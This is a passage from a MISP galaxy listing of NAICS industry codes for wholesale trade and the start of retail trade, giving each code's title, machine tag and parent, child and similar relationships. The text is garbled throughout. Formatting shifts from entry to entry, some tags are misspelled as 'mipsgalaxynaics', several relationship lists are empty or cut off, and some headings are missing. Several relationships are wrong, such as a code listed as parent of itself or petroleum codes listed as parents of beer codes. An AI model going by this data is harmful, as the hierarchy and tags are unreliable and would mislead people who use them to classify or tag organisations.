- similar: `misp-galaxy:naics="423830"` with estimative-language:likelihood-probability="likely"

**423830**

Industrial Machinery and Equipment Merchant Wholesalers

The tag is: `misp-galaxy:naics="423830"`

View relationships graph

423830 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42383"` with estimative-language:likelihood-probability="likely"
42384
Industrial Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="42384"`

View relationships graph

42384 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423840"` with estimative-language:likelihood-probability="likely"

423840
Industrial Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="423840"`

View relationships graph

423840 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42384"` with estimative-language:likelihood-probability="likely"

42385
Service Establishment Equipment and Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="42385"`

View relationships graph

42385 has relationships with:

- child-of: `misp-galaxy:naics="4238"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423850"` with estimative-language:likelihood-probability="likely"

423850
Service Establishment Equipment and Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="423850"`

View relationships graph

423850 has relationships with:
• child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42385" with estimative-language:likelihood-probability="likely"

42386
Transportation Equipment and Supplies (except Motor Vehicle) Merchant Wholesalers
The tag is: misp-galaxy:naics="42386"

View relationships graph

42386 has relationships with:
• child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="423860" with estimative-language:likelihood-probability="likely"

423860
Transportation Equipment and Supplies (except Motor Vehicle) Merchant Wholesalers
The tag is: misp-galaxy:naics="423860"

View relationships graph

423860 has relationships with:
• child-of: misp-galaxy:naics="4238" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42386" with estimative-language:likelihood-probability="likely"

4239
Miscellaneous Durable Goods Merchant Wholesalers
The tag is: misp-galaxy:naics="4239"

View relationships graph

4239 has relationships with:
• child-of: misp-galaxy:naics="423" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42391" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423910" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42392" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423920" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="42393" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="423930" with estimative-language:likelihood-probability="likely"
42391
Sporting and Recreational Goods and Supplies Merchant Wholesalers
The tag is: mipsgalaxynaics="42391"

View relationships graph

42391 has relationships with:
- child-of: mipsgalaxynaics="4239"
- similar: mipsgalaxynaics="423910"

423910
Sporting and Recreational Goods and Supplies Merchant Wholesalers
The tag is: mipsgalaxynaics="423910"

View relationships graph

423910 has relationships with:
- child-of: mipsgalaxynaics="4239"
- similar: mipsgalaxynaics="42391"

42392
Toy and Hobby Goods and Supplies Merchant Wholesalers
The tag is: mipsgalaxynaics="42392"

View relationships graph

42392 has relationships with:
- child-of: mipsgalaxynaics="4239"
- similar: mipsgalaxynaics="423920"

423920
Toy and Hobby Goods and Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="423920"`

**View relationships graph**

423920 has relationships with:

- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42392"` with estimative-language:likelihood-probability="likely"

### 42393

Recyclable Material Merchant Wholesalers

The tag is: `misp-galaxy:naics="42393"`

**View relationships graph**

42393 has relationships with:

- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423930"` with estimative-language:likelihood-probability="likely"

### 423930

Recyclable Material Merchant Wholesalers

The tag is: `misp-galaxy:naics="423930"`

**View relationships graph**

423930 has relationships with:

- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42393"` with estimative-language:likelihood-probability="likely"

### 42394

Jewelry, Watch, Precious Stone, and Precious Metal Merchant Wholesalers

The tag is: `misp-galaxy:naics="42394"`

**View relationships graph**

42394 has relationships with:

- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423940"` with estimative-language:likelihood-probability="likely"
423940
Jewelry, Watch, Precious Stone, and Precious Metal Merchant Wholesalers
The tag is: `misp-galaxy:naics="423940"`

View relationships graph

423940 has relationships with:
- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42394"` with estimative-language:likelihood-probability="likely"

42399
Other Miscellaneous Durable Goods Merchant Wholesalers
The tag is: `misp-galaxy:naics="42399"`

View relationships graph

42399 has relationships with:
- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="423990"` with estimative-language:likelihood-probability="likely"

423990
Other Miscellaneous Durable Goods Merchant Wholesalers
The tag is: `misp-galaxy:naics="423990"`

View relationships graph

423990 has relationships with:
- child-of: `misp-galaxy:naics="4239"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42399"` with estimative-language:likelihood-probability="likely"

424
Merchant Wholesalers, Nondurable Goods
The tag is: `misp-galaxy:naics="424"`

View relationships graph

424 has relationships with:
4241

Paper and Paper Product Merchant Wholesalers

The tag is: *misp-galaxy:naics="4241"

View relationships graph

4241 has relationships with:

- child-of: *misp-galaxy:naics="424"*
- parent-of: *misp-galaxy:naics="4241"*
- parent-of: *misp-galaxy:naics="42411"*
- parent-of: *misp-galaxy:naics="424110"*
- parent-of: *misp-galaxy:naics="42412"*
- parent-of: *misp-galaxy:naics="424120"*
- parent-of: *misp-galaxy:naics="42413"*
- parent-of: *misp-galaxy:naics="424130"*

42411

Printing and Writing Paper Merchant Wholesalers

The tag is: *misp-galaxy:naics="42411"

View relationships graph

42411 has relationships with:

- child-of: *misp-galaxy:naics="424"*
- parent-of: *misp-galaxy:naics="42411"*
- similar: *misp-galaxy:naics="424110"*
424110

Printing and Writing Paper Merchant Wholesalers

The tag is: misp-galaxy:naics="424110"

View relationships graph

424110 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42411" with estimative-language:likelihood-probability="likely"

42412

Stationery and Office Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="42412"

View relationships graph

42412 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424120" with estimative-language:likelihood-probability="likely"

424120

Stationery and Office Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="424120"

View relationships graph

424120 has relationships with:

- child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42412" with estimative-language:likelihood-probability="likely"

42413

Industrial and Personal Service Paper Merchant Wholesalers

The tag is: misp-galaxy:naics="42413"

View relationships graph

42413 has relationships with:
424130
Industrial and Personal Service Paper Merchant Wholesalers
The tag is: `misp-galaxy:naics="424130"`
View relationships graph
424130 has relationships with:
  • child-of: misp-galaxy:naics="4241" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42413" with estimative-language:likelihood-probability="likely"

4242
Drugs and Druggists' Sundries Merchant Wholesalers
The tag is: `misp-galaxy:naics="4242"`
View relationships graph
4242 has relationships with:
  • child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="42421" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="424210" with estimative-language:likelihood-probability="likely"

42421
Drugs and Druggists' Sundries Merchant Wholesalers
The tag is: `misp-galaxy:naics="42421"`
View relationships graph
42421 has relationships with:
  • child-of: misp-galaxy:naics="4242" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="424210" with estimative-language:likelihood-probability="likely"

424210
Drugs and Druggists' Sundries Merchant Wholesalers
The tag is: `misp-galaxy:naics="424210"`
View relationships graph

424210 has relationships with:

- child-of: misp-galaxy:naics="4242" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42421" with estimative-language:likelihood-probability="likely"

4243

Apparel, Piece Goods, and Notions Merchant Wholesalers

The tag is: misp-galaxy:naics="4243"

View relationships graph

4243 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42431" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42434" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424340" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42435" with estimative-language:likelihood-probability="likely"

42431

Piece Goods, Notions, and Other Dry Goods Merchant Wholesalers

The tag is: misp-galaxy:naics="42431"

View relationships graph

42431 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424310" with estimative-language:likelihood-probability="likely"

424310

Piece Goods, Notions, and Other Dry Goods Merchant Wholesalers

The tag is: misp-galaxy:naics="424310"

View relationships graph

424310 has relationships with:
42434
Footwear Merchant Wholesalers
The tag is: misp-galaxy:naics="42434"
View relationships graph
42434 has relationships with:
  • child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42431" with estimative-language:likelihood-probability="likely"

424340
Footwear Merchant Wholesalers
The tag is: misp-galaxy:naics="424340"
View relationships graph
424340 has relationships with:
  • child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42434" with estimative-language:likelihood-probability="likely"

42435
Clothing and Clothing Accessories Merchant Wholesalers
The tag is: misp-galaxy:naics="42435"
View relationships graph
42435 has relationships with:
  • child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42434" with estimative-language:likelihood-probability="likely"

424350
Clothing and Clothing Accessories Merchant Wholesalers
The tag is: misp-galaxy:naics="424350"
View relationships graph

424350 has relationships with:

- child-of: misp-galaxy:naics="4243" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42435" with estimative-language:likelihood-probability="likely"

4244

Grocery and Related Product Merchant Wholesalers

The tag is: misp-galaxy:naics="4244"

View relationships graph

4244 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424410" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42442" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424420" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424430" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42444" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424440" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42445" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424450" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42446" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424460" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42447" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424470" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42448" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424480" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424490" with estimative-language:likelihood-probability="likely"

42441

General Line Grocery Merchant Wholesalers
The tag is: `misp-galaxy:naics="42441"`

View relationships graph

42441 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="424410"` with estimative-language:likelihood-probability="likely"

424410

General Line Grocery Merchant Wholesalers

The tag is: `misp-galaxy:naics="424410"`

View relationships graph

424410 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42441"` with estimative-language:likelihood-probability="likely"

42442

Packaged Frozen Food Merchant Wholesalers

The tag is: `misp-galaxy:naics="42442"`

View relationships graph

42442 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="424420"` with estimative-language:likelihood-probability="likely"

424420

Packaged Frozen Food Merchant Wholesalers

The tag is: `misp-galaxy:naics="424420"`

View relationships graph

424420 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42442"` with estimative-language:likelihood-probability="likely"
42443

Dairy Product (except Dried or Canned) Merchant Wholesalers

The tag is: misp-galaxy:naics="42443"

View relationships graph

42443 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424430" with estimative-language:likelihood-probability="likely"

424430

Dairy Product (except Dried or Canned) Merchant Wholesalers

The tag is: misp-galaxy:naics="424430"

View relationships graph

424430 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42443" with estimative-language:likelihood-probability="likely"

42444

Poultry and Poultry Product Merchant Wholesalers

The tag is: misp-galaxy:naics="42444"

View relationships graph

42444 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424440" with estimative-language:likelihood-probability="likely"

424440

Poultry and Poultry Product Merchant Wholesalers

The tag is: misp-galaxy:naics="424440"

View relationships graph

424440 has relationships with:
• child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42444" with estimative-language:likelihood-probability="likely"

**42445**

Confectionery Merchant Wholesalers

The tag is: *misp-galaxy:naics="42445"*

View relationships graph

42445 has relationships with:

• child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="424450" with estimative-language:likelihood-probability="likely"

**424450**

Confectionery Merchant Wholesalers

The tag is: *misp-galaxy:naics="424450"*

View relationships graph

424450 has relationships with:

• child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42445" with estimative-language:likelihood-probability="likely"

**42446**

Fish and Seafood Merchant Wholesalers

The tag is: *misp-galaxy:naics="42446"*

View relationships graph

42446 has relationships with:

• child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="42445" with estimative-language:likelihood-probability="likely"

**424460**

Fish and Seafood Merchant Wholesalers

The tag is: *misp-galaxy:naics="424460"*
View relationships graph

424460 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42446" with estimative-language:likelihood-probability="likely"

42447
Meat and Meat Product Merchant Wholesalers
The tag is: misp-galaxy:naics="42447"

View relationships graph

42447 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424470" with estimative-language:likelihood-probability="likely"

424470
Meat and Meat Product Merchant Wholesalers
The tag is: misp-galaxy:naics="424470"

View relationships graph

424470 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42447" with estimative-language:likelihood-probability="likely"

42448
Fresh Fruit and Vegetable Merchant Wholesalers
The tag is: misp-galaxy:naics="42448"

View relationships graph

42448 has relationships with:

- child-of: misp-galaxy:naics="4244" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424480" with estimative-language:likelihood-probability="likely"
**424480**

Fresh Fruit and Vegetable Merchant Wholesalers

The tag is: `misp-galaxy:naics="424480"`

**View relationships graph**

424480 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42448"` with estimative-language:likelihood-probability="likely"

**42449**

Other Grocery and Related Products Merchant Wholesalers

The tag is: `misp-galaxy:naics="42449"`

**View relationships graph**

42449 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="424490"` with estimative-language:likelihood-probability="likely"

**424490**

Other Grocery and Related Products Merchant Wholesalers

The tag is: `misp-galaxy:naics="424490"`

**View relationships graph**

424490 has relationships with:

- child-of: `misp-galaxy:naics="4244"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42449"` with estimative-language:likelihood-probability="likely"

**4245**

Farm Product Raw Material Merchant Wholesalers

The tag is: `misp-galaxy:naics="4245"`

**View relationships graph**

4245 has relationships with:
42451

Grain and Field Bean Merchant Wholesalers

The tag is: misp-galaxy:naics="42451"

View relationships graph

42451 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424510" with estimative-language:likelihood-probability="likely"

424510

Grain and Field Bean Merchant Wholesalers

The tag is: misp-galaxy:naics="424510"

View relationships graph

424510 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42451" with estimative-language:likelihood-probability="likely"

42452

Livestock Merchant Wholesalers

The tag is: misp-galaxy:naics="42452"

View relationships graph

42452 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424520" with estimative-language:likelihood-probability="likely"
Livestock Merchant Wholesalers
The tag is: `misp-galaxy:naics="424520"`

View relationships graph

424520 has relationships with:
- child-of: `misp-galaxy:naics="4245"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42452"` with estimative-language:likelihood-probability="likely"

Other Farm Product Raw Material Merchant Wholesalers
The tag is: `misp-galaxy:naics="42459"`

View relationships graph

42459 has relationships with:
- child-of: `misp-galaxy:naics="4245"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="424590"` with estimative-language:likelihood-probability="likely"

Other Farm Product Raw Material Merchant Wholesalers
The tag is: `misp-galaxy:naics="424590"`

View relationships graph

424590 has relationships with:
- child-of: `misp-galaxy:naics="4245"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="42459"` with estimative-language:likelihood-probability="likely"

Chemical and Allied Products Merchant Wholesalers
The tag is: `misp-galaxy:naics="4246"`

View relationships graph

4246 has relationships with:
42461

Plastics Materials and Basic Forms and Shapes Merchant Wholesalers

The tag is: *misp-galaxy:naics="42461"

View relationships graph

42461 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424610" with estimative-language:likelihood-probability="likely"

424610

Plastics Materials and Basic Forms and Shapes Merchant Wholesalers

The tag is: *misp-galaxy:naics="424610"

View relationships graph

424610 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42461" with estimative-language:likelihood-probability="likely"

42469

Other Chemical and Allied Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="42469"

View relationships graph

42469 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424690" with estimative-language:likelihood-probability="likely"
424690

Other Chemical and Allied Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="424690"*

View relationships graph

424690 has relationships with:

- child-of: *misp-galaxy:naics="4246"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="42469"* with estimative-language:likelihood-probability="likely"

4247

Petroleum and Petroleum Products Merchant Wholesalers

The tag is: *misp-galaxy:naics="4247"*

View relationships graph

4247 has relationships with:

- child-of: *misp-galaxy:naics="424"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42471"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="424710"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42472"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="424720"* with estimative-language:likelihood-probability="likely"

42471

Petroleum Bulk Stations and Terminals

The tag is: *misp-galaxy:naics="42471"*

View relationships graph

42471 has relationships with:

- child-of: *misp-galaxy:naics="424"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="424710"* with estimative-language:likelihood-probability="likely"

424710

Petroleum Bulk Stations and Terminals

The tag is: *misp-galaxy:naics="424710"*
View relationships graph
424710 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42471" with estimative-language:likelihood-probability="likely"

42472

Petroleum and Petroleum Products Merchant Wholesalers (except Bulk Stations and Terminals)
The tag is: misp-galaxy:naics="42472"

View relationships graph
42472 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424720" with estimative-language:likelihood-probability="likely"

424720

Petroleum and Petroleum Products Merchant Wholesalers (except Bulk Stations and Terminals)
The tag is: misp-galaxy:naics="424720"

View relationships graph
424720 has relationships with:

- child-of: misp-galaxy:naics="4247" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42482" with estimative-language:likelihood-probability="likely"

4248

Beer, Wine, and Distilled Alcoholic Beverage Merchant Wholesalers
The tag is: misp-galaxy:naics="4248"

View relationships graph
4248 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424810" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42482" with estimative-language:likelihood-probability="likely"
42481
Beer and Ale Merchant Wholesalers
The tag is: *misp-galaxy:naics="42481"*

View relationships graph

42481 has relationships with:

- child-of: *misp-galaxy:naics="4248"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="424810"* with estimative-language:likelihood-probability="likely"

424810
Beer and Ale Merchant Wholesalers
The tag is: *misp-galaxy:naics="424810"*

View relationships graph

424810 has relationships with:

- child-of: *misp-galaxy:naics="4248"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="42481"* with estimative-language:likelihood-probability="likely"

42482
Wine and Distilled Alcoholic Beverage Merchant Wholesalers
The tag is: *misp-galaxy:naics="42482"*

View relationships graph

42482 has relationships with:

- child-of: *misp-galaxy:naics="4248"* with estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="424820"* with estimative-language:likelihood-probability="likely"

424820
Wine and Distilled Alcoholic Beverage Merchant Wholesalers
The tag is: *misp-galaxy:naics="424820"*

View relationships graph
424820 has relationships with:

- child-of: misp-galaxy:naics="4248" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42482" with estimative-language:likelihood-probability="likely"

**4249**

Miscellaneous Nondurable Goods Merchant Wholesalers

The tag is: *misp-galaxy:naics="4249"*

View relationships graph

4249 has relationships with:

- child-of: misp-galaxy:naics="424" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42491" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42492" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42494" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424940" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42495" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424950" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="42499" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="424990" with estimative-language:likelihood-probability="likely"

**42491**

Farm Supplies Merchant Wholesalers

The tag is: *misp-galaxy:naics="42491"*

View relationships graph

42491 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424910" with estimative-language:likelihood-probability="likely"
424910
Farm Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="424910"
View relationships graph
424910 has relationships with:
  • child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42491" with estimative-language:likelihood-probability="likely"

42492
Book, Periodical, and Newspaper Merchant Wholesalers
The tag is: misp-galaxy:naics="42492"
View relationships graph
42492 has relationships with:
  • child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="424920" with estimative-language:likelihood-probability="likely"

424920
Book, Periodical, and Newspaper Merchant Wholesalers
The tag is: misp-galaxy:naics="424920"
View relationships graph
424920 has relationships with:
  • child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
  • similar: misp-galaxy:naics="42492" with estimative-language:likelihood-probability="likely"

42493
Flower, Nursery Stock, and Florists' Supplies Merchant Wholesalers
The tag is: misp-galaxy:naics="42493"
View relationships graph
42493 has relationships with:
424930
Flower, Nursery Stock, and Florists' Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="424930"`

View relationships graph

424930 has relationships with:
  - child-of: `misp-galaxy:naics="4249"` with estimative-language:likelihood-probability="likely"
  - similar: `misp-galaxy:naics="42493"` with estimative-language:likelihood-probability="likely"

42494
Tobacco Product and Electronic Cigarette Merchant Wholesalers
The tag is: `misp-galaxy:naics="42494"`

View relationships graph

42494 has relationships with:
  - child-of: `misp-galaxy:naics="4249"` with estimative-language:likelihood-probability="likely"
  - similar: `misp-galaxy:naics="424940"` with estimative-language:likelihood-probability="likely"

424940
Tobacco Product and Electronic Cigarette Merchant Wholesalers
The tag is: `misp-galaxy:naics="424940"`

View relationships graph

424940 has relationships with:
  - child-of: `misp-galaxy:naics="4249"` with estimative-language:likelihood-probability="likely"
  - similar: `misp-galaxy:naics="42494"` with estimative-language:likelihood-probability="likely"

42495
Paint, Varnish, and Supplies Merchant Wholesalers
The tag is: `misp-galaxy:naics="42495"`
42495 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424950" with estimative-language:likelihood-probability="likely"

424950

Paint, Varnish, and Supplies Merchant Wholesalers

The tag is: misp-galaxy:naics="424950"

424950 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42495" with estimative-language:likelihood-probability="likely"

42499

Other Miscellaneous Nondurable Goods Merchant Wholesalers

The tag is: misp-galaxy:naics="42499"

42499 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="424990" with estimative-language:likelihood-probability="likely"

424990

Other Miscellaneous Nondurable Goods Merchant Wholesalers

The tag is: misp-galaxy:naics="424990"

424990 has relationships with:

- child-of: misp-galaxy:naics="4249" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42499" with estimative-language:likelihood-probability="likely"
425

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="425"

View relationships graph

425 has relationships with:

- child-of: *misp-galaxy:naics="42"* with *estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="4251"* with *estimative-language:likelihood-probability="likely"

4251

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="4251"

View relationships graph

4251 has relationships with:

- child-of: *misp-galaxy:naics="425"* with *estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="42512"* with *estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="425120"* with *estimative-language:likelihood-probability="likely"

42512

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="42512"

View relationships graph

42512 has relationships with:

- child-of: *misp-galaxy:naics="4251"* with *estimative-language:likelihood-probability="likely"
- similar: *misp-galaxy:naics="425120"* with *estimative-language:likelihood-probability="likely"

425120

Wholesale Trade Agents and Brokers

The tag is: *misp-galaxy:naics="425120"

View relationships graph
425120 has relationships with:

- child-of: misp-galaxy:naics="4251" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="42512" with estimative-language:likelihood-probability="likely"

### 44-45

Retail Trade

The tag is: misp-galaxy:naics="44-45"

### 441

Motor Vehicle and Parts Dealers

The tag is: misp-galaxy:naics="441"

View relationships graph

441 has relationships with:

- parent-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="4413" with estimative-language:likelihood-probability="likely"

### 4411

Automobile Dealers

The tag is: misp-galaxy:naics="4411"

View relationships graph

4411 has relationships with:

- child-of: misp-galaxy:naics="441" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441110" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="44112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="441120" with estimative-language:likelihood-probability="likely"

### 44111

New Car Dealers

The tag is: misp-galaxy:naics="44111"
44111 has relationships with:

- child-of: misp-galaxy:naics="4411" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="441110" with estimative-language:likelihood-probability="likely"

New Car Dealers

The tag is: misp-galaxy:naics="441110"

441110 has relationships with:

